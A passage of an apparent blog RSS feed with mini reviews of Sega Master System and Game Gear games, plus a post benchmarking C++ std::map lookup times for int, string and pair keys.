<p class='vspace'>I&#8217;m not sure how &#8220;replayable&#8221; it is. The number of levels means you&#8217;re unlikely to have memorised them all, but it&#8217;s not as varied as <em>Krusty&#8217;s Fun House</em> and thus not as much fun to play through when you know the answers.
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>It&#8217;s reasonably unusual, probably belying the game&#8217;s non-console European roots.
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>There&#8217;s a reasonable variety of problems to deal with, using the available puzzle parts in a few different ways rather than being too predicatable. There&#8217;s never a move to excessively twitchy gameplay. There are a fair few cheap deaths, though - both the passengers (some stages require you to run to a specific point right at the start, but you can&#8217;t see when you start) and you (a few times, after rescuing the passengers and searching for the player exit you can get into an inescapable area and have to jump in a trap).
</p>
<p class='vspace'>The GG version is apparently a bit of a downconversion from the original - some of the gameplay mechanics are absent (magnetic hoists? lifeboat?) and I suspect some of the levels are watered down as a result - at least one has a direct path from passenger entrance to exit.
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>It smells a lot like a clone of <em>Krusty&#8217;s Fun House</em>, whose original version predates the original of this by a year or so. The conveyor belt mechanics are the main difference here, along with the rising water level - which is only used vary rarely, unfortunately.
</p>
<p class='vspace'>As a late release and a downconversion, maybe I shouldn&#8217;t expect so much, but the late European releases often have more to offer than this. Still, it&#8217;s an unusual game for the system and we should enjoy it for that.
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<p>It&#8217;s not a late-release rare gem, but it&#8217;s entertaining and offers plenty of diversion for puzzly platform fans.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating2.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-ManOverboard</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2011-07-25T08:58:18Z</dc:date>
<pubDate>Mon, 25 Jul 2011 08:58:18 GMT</pubDate>
</item>
<item>
<title>Mini Review: Bust-a-Move</title>
<author>Maxim</author>
<description><![CDATA[<p><a class='urllink' href='http://www.smspower.org/Games/PuzzleBobble-GG?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'><em>Puzzle Bobble (パズルボブル) / Bust-a-Move</em></a> is part of the rather weird <em>Bubble Bobble</em>/<em>Rainbow Islands</em> series of games. It&#8217;s a well-based puzzle game (in the same <em>milieu</em> as <em>Columns</em> and <em>Tetris</em>) where you control the direction in which a coloured bubble is shot. Bubbles stick to each other and three the same colour will disappear; unconnected bubbles then fall away. In the main game, the goal is to clear the screen, while the ceiling falls, and bubbles reaching the bottom of the screen means game over.
</p>
<p class='vspace'>Well, that&#8217;s a rather boring description of the gameplay, on to the review...
</p>
<div class='vspace'></div><h2>Graphics</h2>
<p>The gameplay area itself is narrow, so there&#8217;s a lot of unused screen left over. The game does a pretty good job of filling it up with semi-random graphics; I&#8217;d guess that&#8217;s what most of the ROM is full of, in fact. The core gameplay graphics are never changed, and they&#8217;re just coloured circles really; but the graphical effects when bubbles burst or drop are nicely done.
</p>
<p class='vspace'>The graphics themselves are aligned on a hex grid so I guess it&#8217;s doing some somewhat clever stuff with a pseudo-bitmapped display. It seems to achieve this reasonably quickly - as the ceiling drops, you sometimes see it take a few frames to draw the top and bottom, but most of the time it&#8217;s impressively seamless.
</p>
<p class='vspace'>The directional arrow seems to be rotated in code, which is nice (since it has a large number of positions to display), but this suffers from aliasing and overall always seems to indicate not quite the direction you thought it did. That&#8217;s frequently annoying.
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>There is one theme per game mode, which is nice enough but really lacks variety as a result. The ending has a nice remix of &#8220;Old Man&#8217;s Legend&#8221; from <em>Bubble Bobble</em> which makes up for it somewhat.
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>There are two longevity fronts: score attack on the main game and the second endless game mode which counts time, bubbles and score and presents these (and some other stats) to you on game over. Endless mode is probably a good time-killer if that&#8217;s what you&#8217;re looking for - much like <em>Tetris</em> - but it&#8217;s not great.
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>None.
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>Apart from the aiming difficulties, there&#8217;s occasionally some iffy collision logic. If you can live with that, and can get accustomed to the aiming, it&#8217;s a nice fun puzzler. The varying backdrops actually do make it more interesting, as they&#8217;re effectively incremental &#8220;rewards&#8221; as you play.
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>The original arcade game idea is actually pretty innovative, if not particularly deep (but still deeper than <em>Tetris</em>...). There&#8217;s a few special bubbles that add variety, although I&#8217;m not sure if this is more or less than the original arcade game. This is a nicely done port, and there&#8217;s nothing else like it on the Sega 8-bit systems.
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<p>One of the better puzzle games, in a good conversion. What&#8217;s not to like?
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating3.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-BustAMove</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2011-07-26T17:49:52Z</dc:date>
<pubDate>Tue, 26 Jul 2011 17:49:52 GMT</pubDate>
</item>
<item>
<title>Mini Review: Zool</title>
<author>Maxim</author>
<description><![CDATA[<p>The Amiga&#8217;s answer to <em>Sonic the Hedgehog</em>... how bad can it be? Very. The main character - a ninja <del>ant</del> gremlin, no less - seems right out of a mid-1990s &#8220;what will appeal to the kids&#8221; committee (what, no skateboard?). The level themes are garish, but at least not forest/ice/lava/etc.
</p>
<div class='vspace'></div><h2>Graphics</h2>
<p>The original game had an inexplicable sponsorship by <a class='urllink' href='http://en.wikipedia.org/wiki/Chupa%20Chups' rel='nofollow'>Chupa Chups</a>, hence the candy-themed first level. That&#8217;s carried through, although there are four more themes in later stages which have nothing to do with the sponsorship.
</p>
<p class='vspace'>The graphics themselves... well, there&#8217;s no background. It&#8217;s entirely solid. And that is a real problem in this game. The level layouts are apparently different to other versions, which makes it hard to compare; but for the SMS, we have a typically-sized  sprite that can jump very high and run very fast, and levels with lots of &#8220;sky&#8221;. You often get into positions where you can&#8217;t see where you are, what direction you&#8217;re travelling or where you&#8217;re aiming for. That&#8217;s just awful and could have been solved with some simplistic backdrops or just designing the game a bit better to reduce how often this happens.
</p>
<p class='vspace'>Apart from that, it&#8217;s all downconversion of the artwork.
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>Conversions, initially quite jolly but soon becoming grating.
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>Five worlds, three large levels each means it&#8217;ll last a while but I don&#8217;t think there&#8217;s any replayability. A level select might have helped.
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>None.
</p>
<div class='vspace'></div><h2>Fun</h2>
<ul><li>Blind jumps (×1000)
</li><li>Over-fast movement
</li><li>Entirely blank screens mid-jump
</li><li>Trying to hit a 1-block platform when a touch on the D-pad moves you 1.5 blocks
</li><li>Enemies hit you within 5 frames of appearing on-screen
</li><li>Enemies that pop out when you walk past, barely distinguishable from the scenery
</li><li>Bosses that have no indication of when you&#8217;ve hit them
</li></ul><p class='vspace'>Yes, it&#8217;s a frustrating game.
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>Well, they took a basic platformer and turned the speed up. A lot. But they didn&#8217;t take consideration of what that meant, so you&#8217;re left with savestates or memorisation. The wall-clinging is interesting, but the unkillable wall-moving enemies break that. Sliding is an interesting mechanic but under-used. The level themes are somewhat original.
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<p>A screwed up wannabe character game. It got a sequel on Amiga and then died out... and I&#8217;m hardly surprised.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating1.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-Zool</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2011-07-25T08:54:26Z</dc:date>
<pubDate>Mon, 25 Jul 2011 08:54:26 GMT</pubDate>
</item>
<item>
<title>Mini Review: Toto World 3</title>
<author>Maxim</author>
<description><![CDATA[<p>An Korean original that hardly anyone will have seen, unless they&#8217;re Korean or the lucky owner of the Australian <em>4 Pak All Action</em> monstrosity. But <del>will it blend</del> is it any good?
</p>
<div class='vspace'></div><h2>Graphics</h2>
<p>Well, what we have here is some extreme &#8220;borrowing&#8221;. There&#8217;s the kiwi from <em>The NewZealand Story</em>, the ape from <em>Toki</em>, the crab from <em>Wonder Boy III</em>, grass from <em>Doki Doki Panic</em>, some very <em>Mario</em>-looking stars... but the not-obviously-copied stuff seems pretty decent and mature.
</p>
<p class='vspace'>Backdrops change completely between &#8220;worlds&#8221;, although sprites don&#8217;t change as much, and there are some nice graphical effects - the wiggling clouds (in opposite directions, makes all the difference), sprite overlay stage start screen and fade-to-grey world end screens come to mind. Nothing particularly ingenious but nice polish nonetheless.
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>Dreadful! Turn it off.
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>You get six worlds with a couple of stages each and a boss. Nothing too taxing, all the collecting seems to be for points only, so there&#8217;s little challenge and little replay value. But it&#8217;s mindless platforming the whole way through.
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>None.
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>The control is not... quite... right. There&#8217;s a bit of momentum but it doesn&#8217;t feel &#8220;analogue&#8221; enough, as if it&#8217;s being switched on/off as you change the movement. This is most obnoxious in the ice &#8220;world&#8221;, where it seems they just turned it up to &#8220;extra annoying&#8221; rather than do the usual slippery-momentum thing you get in ice stages. Add that to occasional requirements to precision-jump and it&#8217;s a pain. But conversely, you don&#8217;t need to do that much and there&#8217;s a decent variety of other stuff to keep you amused (moving platforms, wacky enemy movement, lots of levels).
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>Of course not!
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<p>This is mostly just elements of successful platformers shamelessly stuck together. It&#8217;s done reasonably well, but not compellingly so.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating2.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-TotoWorld3</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2011-07-25T09:02:12Z</dc:date>
<pubDate>Mon, 25 Jul 2011 09:02:12 GMT</pubDate>
</item>
<item>
<title>STL Map Lookup Times</title>
<author>Maxim</author>
<description><![CDATA[<p>So I&#8217;m writing some code that needs to cache things in a map. The key in the map corresponds to a unique sender. I want my senders to be able to get guaranteed-unique IDs without any server, peer-to-peer or static config; what they have is a string and an int that in combination, is guaranteed unique.
</p>
<p class='vspace'>But I think that&#8217;s going to suck as a map key. Strings need memory accesses and lots of them. Ints can live in a register and compare in a single cycle.
</p>
<p class='vspace'>I tried really hard to come up with a way of making them both merge into an int, without any luck. Mr. Boss Man suggested I should try actually measuring the difference between different types as map keys.
</p>
<p class='vspace'>Here&#8217;s the core of the test code I wrote:
</p>
<div class='vspace'></div>
<div class='sourceblock ' id='sourceblock2'>
  <div class='sourceblocktext'><div class="c" style="font-family:monospace;">template<span class="sy0">&lt;</span>typename T<span class="sy0">&gt;</span><br />
<span class="kw4">double</span> testMap<span class="br0">&#40;</span><span class="kw4">unsigned</span> <span class="kw4">int</span> itemCount<span class="sy0">,</span> <span class="kw4">unsigned</span> <span class="kw4">int</span> lookupCount<span class="sy0">,</span> T <span class="br0">&#40;</span><span class="sy0">*</span>getKey<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&#160; &#160; &#160; &#160; Stopwatch sw<span class="sy0">;</span><br />
<br />
&#160; &#160; &#160; &#160; <span class="kw3">printf</span><span class="br0">&#40;</span><span class="st0">&#34;Testing %s...<span class="es1">\n</span>&#34;</span><span class="sy0">,</span> typeid<span class="br0">&#40;</span>T<span class="br0">&#41;</span>.<span class="me1">name</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&#160; &#160; &#160; &#160; <span class="kw3">printf</span><span class="br0">&#40;</span><span class="st0">&#34;Generating %d keys...&#34;</span><span class="sy0">,</span> itemCount<span class="br0">&#41;</span><span class="sy0">;</span><br />
&#160; &#160; &#160; &#160; sw.<span class="me1">start</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&#160; &#160; &#160; &#160; std<span class="sy0">::</span><span class="me2">vector</span><span class="sy0">&lt;</span>T<span class="sy0">&gt;</span> keys<span class="br0">&#40;</span>itemCount<span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&#160; &#160; &#160; &#160; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw4">unsigned</span> <span class="kw4">int</span> i <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span> i <span class="sy0">&lt;</span> itemCount<span class="sy0">;</span> <span class="sy0">++</span>i<span class="br0">&#41;</span><br />
&#160; &#160; &#160; &#160; <span class="br0">&#123;</span><br />
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; keys.<span class="me1">push_back</span><span class="br0">&#40;</span>getKey<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&#160; &#160; &#160; &#160; <span class="br0">&#125;</span><br />
<br />
&#160; &#160; &#160; &#160; sw.<span class="me1">stop</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&#160; &#160; &#160; &#160; <span class="kw3">printf</span><span class="br0">&#40;</span><span class="st0">&#34;done; took %gms<span class="es1">\n</span>&#34;</span><span class="sy0">,</span> sw.<span class="me1">getElapsed</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&#160; &#160; &#160; &#160; <span class="kw3">printf</span><span class="br0">&#40;</span><span class="st0">&#34;Putting them into a map...&#34;</span><span class="sy0">,</span> itemCount<span class="br0">&#41;</span><span class="sy0">;</span><br />
&#160; &#160; &#160; &#160; sw.<span class="me1">reset</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&#160; &#160; &#160; &#160; sw.<span class="me1">start</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&#160; &#160; &#160; &#160; std<span class="sy0">::</span><span class="me2">map</span><span class="sy0">&lt;</span>T<span class="sy0">,</span> int<span class="sy0">&gt;</span> m<span class="sy0">;</span><br />
<br />
&#160; &#160; &#160; &#160; <span class="kw1">for</span> <span class="br0">&#40;</span>std<span class="sy0">::</span><span class="me2">vector</span><span class="sy0">&lt;</span>T<span class="sy0">&gt;::</span><span class="me2">const_iterator</span> it <span class="sy0">=</span> keys.<span class="me1">begin</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span> it <span class="sy0">!=</span> keys.<span class="me1">end</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span> <span class="sy0">++</span>it<span class="br0">&#41;</span><br />
&#160; &#160; &#160; &#160; <span class="br0">&#123;</span><br />
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; m.<span class="me1">insert</span><span class="br0">&#40;</span>std<span class="sy0">::</span><span class="me2">make_pair</span><span class="br0">&#40;</span><span class="sy0">*</span>it<span class="sy0">,</span> <span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&#160; &#160; &#160; &#160; <span class="br0">&#125;</span><br />
<br />
&#160; &#160; &#160; &#160; sw.<span class="me1">stop</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&#160; &#160; &#160; &#160; <span class="kw3">printf</span><span class="br0">&#40;</span><span class="st0">&#34;done; took %gms<span class="es1">\n</span>&#34;</span><span class="sy0">,</span> sw.<span class="me1">getElapsed</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&#160; &#160; &#160; &#160; <span class="kw3">printf</span><span class="br0">&#40;</span><span class="st0">&#34;Looking up %d items...&#34;</span><span class="sy0">,</span> lookupCount<span class="br0">&#41;</span><span class="sy0">;</span><br />
&#160; &#160; &#160; &#160; sw.<span class="me1">reset</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&#160; &#160; &#160; &#160; sw.<span class="me1">start</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&#160; &#160; &#160; &#160; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw4">unsigned</span> <span class="kw4">int</span> i <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span> i <span class="sy0">&lt;</span> lookupCount<span class="sy0">;</span> <span class="sy0">++</span>i<span class="br0">&#41;</span><br />
&#160; &#160; &#160; &#160; <span class="br0">&#123;</span><br />
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span class="kw4">const</span> T<span class="sy0">&amp;</span> key <span class="sy0">=</span> keys<span class="br0">&#91;</span>i <span class="sy0">%</span> keys.<span class="me1">size</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><span class="sy0">;</span><br />
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; m.<span class="me1">find</span><span class="br0">&#40;</span>key<span class="br0">&#41;</span><span class="sy0">;</span><br />
&#160; &#160; &#160; &#160; <span class="br0">&#125;</span><br />
<br />
&#160; &#160; &#160; &#160; sw.<span class="me1">stop</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&#160; &#160; &#160; &#160; <span class="kw4">double</span> time <span class="sy0">=</span> sw.<span class="me1">getElapsed</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="sy0">/</span> lookupCount <span class="sy0">*</span> <span class="nu0">1000000</span><span class="sy0">;</span><br />
&#160; &#160; &#160; &#160; <span class="kw3">printf</span><span class="br0">&#40;</span><span class="st0">&#34;done; took %gns each<span class="es1">\n</span><span class="es1">\n</span>&#34;</span><span class="sy0">,</span> time<span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&#160; &#160; &#160; &#160; <span class="kw1">return</span> time<span class="sy0">;</span><br />
<span class="br0">&#125;</span></div></div>
  <div class='sourceblocklink'><a href='http://www.smspower.org/maxim/STLMapLookupTimes?action=sourceblock&amp;num=2&amp;sid=df27688e1ea0f31a8391579434ba1a6f' type='text/plain'>Get Code</a></div>
</div>

<p class='vspace'>You call this with a number of map items, number of lookups, and a pointer to a function that gets you a randomly generated key. (Random number generator collisions are probably an issue here but I chose to not bother with that.) It then fills up a vector with random keys, stuffs them into a map, and then looks them up. The times for filling the two collections are just data porn, the last one is what matters.
</p>
<p class='vspace'>I then ran it with five different key types:
</p>
<div class='vspace'></div><ul><li><code>int</code>
</li><li><code>std::string</code>
</li><li><code>std::pair&lt;int, int&gt;</code>
</li><li><code>std::pair&lt;int, std::string&gt;</code>
</li><li><code>std::pair&lt;std::string, int&gt;</code>
</li></ul><p class='vspace'>Here&#8217;s the results in Excel-o-vision, for varying map sizes and averaged across 10,000,000 lookups:
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/STLMapLookupTimes-graph1.png' alt='' title='' /></div>
<p class='vspace'>They&#8217;re roughly linear in log(n) as you might expect. Here they are as relative slowness compared to <code>int</code>:
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/STLMapLookupTimes-graph2.png' alt='' title='' /></div>
<p class='vspace'>So, for small maps (as I&#8217;m expecting in my case):
</p>
<div class='vspace'></div><ul><li><code>string</code> is about 6x worse than <code>int</code>
</li><li><code>pair&lt;int, int&gt;</code> is on a par with <code>int</code>
</li><li>if you have to have both <code>int</code> and <code>string</code>, put the <code>int</code> first (as it allows early exit from the comparison operator)
<ul><li>because the other way round is really awful
</li></ul></li><li>but overall, it&#8217;s still really fast. 120ns is not very long (well... maybe) compared to 20ns.
</li></ul><div class='vspace'></div><hr />
<p class='vspace'>Update: These tests will of course have benefited hugely from the CPU caches. In real life, that doesn&#8217;t always happen. So I added some code to nuke the CPU cache (just a large <code>memcpy()</code> and being careful to exclude it from the timings) and got these:
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/STLMapLookupTimes-graph3.png' alt='' title='' /></div>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/STLMapLookupTimes-graph4.png' alt='' title='' /></div>
<p class='vspace'>A bit uglier, obviously a lot slower... the &#8220;cost&#8221; is less extreme, but it still produces similar conclusions, I think. Lookup is going to be on the microsecond level with strings and half with ints.
</p>
]]></description><link>http://www.smspower.org/maxim/STLMapLookupTimes</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2010-10-20T14:37:24Z</dc:date>
<pubDate>Wed, 20 Oct 2010 14:37:24 GMT</pubDate>
</item>
<item>
<title>Mini Review: Super Off Road</title>
<author>Maxim</author>
<description><![CDATA[<p>The SMS has four top-down racing games: the great Micro Machines, the not so great Buggy Run, the dreadful RC Grand Prix, and this. Where does it sit in the ranking? I&#8217;ve never tried it before so it&#8217;s time to find out.
</p>
<div class='vspace'></div><h2>Graphics</h2>
<p>The whole point of this game is that it doesn&#8217;t scroll; instead, you have tiny cars and a fullscreen track. So the graphics have two things to achieve:
</p>
<div class='vspace'></div><ul><li>Discernable cars - they&#8217;re very small so they need to be clear
</li><li>Clear track - especially since it&#8217;s very &#8220;3D&#8221;
</li></ul><p class='vspace'>It manages to achieve both, mainly by using bright colours and consistent graphics throughout, although that makes it kind of boring. The &#8220;sexy lady&#8221; gets boring fast. You get the feeling this whole game only has maybe 16KB of graphics in it.
</p>
<p class='vspace'>It is of course an arcade downconversion. The original was at 320×240 so something has to give for the 256x192 SMS screen; so things are a bit <em>too</em> tiny.
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>Off.
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>There are 12 tracks, and you get to race them in both directions. But: they are all single-screen tracks. Lap time is typically under 10 seconds, and a race is 4 laps. So the whole thing (in both directions) takes under 30 minutes.
</p>
<p class='vspace'>There&#8217;s some upgrade strategy too (tyres, engine, etc) but I found that I was able to win all the races, hence get plenty of money to keep winning, without any real strategy.
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>None.
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>The tiny sprites probably work OK on a huge arcade CRT right in front of your face. But I found it easily got crowded. Add in that collisions, rather than stop you dead (as in the woeful <em>RC Grand Prix</em>), instead tend to steer your car away from the collision. That&#8217;s great for keeping the race going, but annoying because you have to try to guess what direction you&#8217;ll be going after every encounter. The tracks are deliberately designed to have a lot of these (there are cross-overs and narrow corners) and the competitor cars don&#8217;t try to avoid you.
</p>
<p class='vspace'>So, there&#8217;s a fairly large random element spoiling the fun.
</p>
<p class='vspace'>Also, the handling doesn&#8217;t seem very logical. The small scale makes it hard anyway, but the bouncing between bumps and water traps and hills and jumps and barriers... all seems to handle much the same. I know changeable (yet playable) handling must be hard to achieve, but it seems quite absent. Slopes tend to steer you downhill, unless you&#8217;re driving straight up, and that&#8217;s about it.
</p>
<p class='vspace'>I think there&#8217;s a bit of steering assistance going on to help you drive in the right direction, too. That&#8217;s not necessarily a good thing, as the game starts to play itself. Maybe it&#8217;s just easy to steer as you intend, but it seems suspicious to me.
</p>
<p class='vspace'>The reverse-direction races are a cheap hack to extend the game, albeit not an unusual one. But once you get to race 24... it goes back to race 1. There is no end to the game and that&#8217;s just annoying.
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>Well, it&#8217;s an unusual premise. In the arcade the idea was that multiple players could play on a single non-split screen. On this version, you can play 2-player, but the single-player experience suffers. Just a bit of scrolling of the track might have made it a bit less scrunched up. I think a huge, zoomed-out track would look great at this scale. But that wouldn&#8217;t be the arcade original, I suppose.
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<p>In the Great Top-Down SMS Racer Ranking:
</p>
<p class='vspace'>I think it&#8217;s about equal with Buggy Run, a step below Micro Machines and a mile above RC Grand Prix.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating3.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-SuperOffRoad</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2010-12-06T07:44:46Z</dc:date>
<pubDate>Mon, 06 Dec 2010 07:44:46 GMT</pubDate>
</item>
<item>
<title>Mini Review: The Smurfs Travel The World</title>
<author>Maxim</author>
<description><![CDATA[<p>The legendary Last Ever European SMS Game. (So far.) How bad can it be?
</p>
<div class='vspace'></div><h2>Graphics</h2>
<p>The graphics are very reminiscent of the better NES games, in that they are trying very hard with small, matching palettes to do shading. But this is the SMS! We have 16 colour palettes, not 4! So it sort of looks like a badly colourised black-and-white photo, when it&#8217;s doing the shading thing, and just crappy the rest of the time.
</p>
<p class='vspace'>Most sprites are reasonably well done, cartoony as you&#8217;d expect but the pixels have all been pushed to the right places. Some are downright shoddy.
</p>
<p class='vspace'>The ending has some pretty nice (although simple) graphical effects, although it&#8217;s a shame they didn&#8217;t expand it from the GG screen size.
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>Off.
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>At the start you&#8217;re offered two &#8220;continents&#8221; upon which to play. Each one has quite a lot of not-very-related stages that just feed on directly from one another, with a bit of variety between them. After you complete them, you get another 
</p>
<p class='vspace'>In each stage, you have to find a certain number of crystals. Most are in plain view, requiring some platforming to reach, and some are only available after you defeat certain enemies. There&#8217;s a decent mix of platforming styles, including vertical stages and chase stages, although the majority is plain old wide-aspect-ratio platforming.
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>Collect the scattered magic crystals, yes... admirable videogame plotting... clean the planet of pollution by collecting rubbish? What? (Don&#8217;t worry, that part is optional.)
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>It&#8217;s so utterly generic that it&#8217;s difficult to get very excited about it. Diverting, if you like that sort of thing, but really lacking the character needed to differentiate it from the early-90s platformer crowd.
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>Not really.
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<p>Ultimately no more than you&#8217;d expect, and not entertainingly bad.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating2.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-TheSmurfsTravelTheWorld</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2010-10-13T15:02:09Z</dc:date>
<pubDate>Wed, 13 Oct 2010 15:02:09 GMT</pubDate>
</item>
<item>
<title>Mini Review: The Smurfs</title>
<author>Maxim</author>
<description><![CDATA[<p>Enough of the not-crappy-platformers already! Time for some late European licensed shovelware...
</p>
<div class='vspace'></div><h2>Graphics</h2>
<p>Sprites are reasonably well-drawn, and backdrops are colourful and cartoony. For some reason, much of the game is presented in line-interrupt-fuelled &#8220;widescreen&#8221;, as if the PAL SMS wasn&#8217;t already squished enough. But for some levels this is turned off, especially those with the less-than-convincing rising water/lava. But hey, at least they tried. (Sonic had done a good water raster effect some years previously.)
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>Off.
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>There are plenty of levels, although there is no appreciable plot or explanation of why you&#8217;re in any one location. They are at least grouped by theme.
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>Rescue Smurfette by getting to the end of each level in turn.
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>There&#8217;s a big spanner in the works here: dodgy controls. First off, there&#8217;s no attack, apart from jumping on enemies. Button 1 is instead the &#8220;run&#8221; button, which you&#8217;ll want to hold down at all times to avoid making it totally boring. But then you&#8217;ll find weird lags between the buttons and the movement, notably making you walk into stuff after you&#8217;ve released the d-pad.
</p>
<p class='vspace'>There&#8217;s also often some ambiguity as to what&#8217;s a platform and what isn&#8217;t, more so when the graphics are non-blocky but the platforminess is still on a 16×16 grid.
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>The rising-water/lava stages are fairly unusual (most platformers with chase elements go with horizontal scrolling). The bonus stages are decently varied. The game itself has a reasonable variety of gameplay elements like the river race and using birds as platforms which aren&#8217;t totally obvious. But I don&#8217;t want to oversell this – it&#8217;s mostly uninspiring and gives an overall feeling of low standards.
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<p>Diverting but ultimately no more than you&#8217;d expect, and not entertainingly bad.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating2.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-TheSmurfs</link>
<dc:contributor>Maxim</dc:contributor>
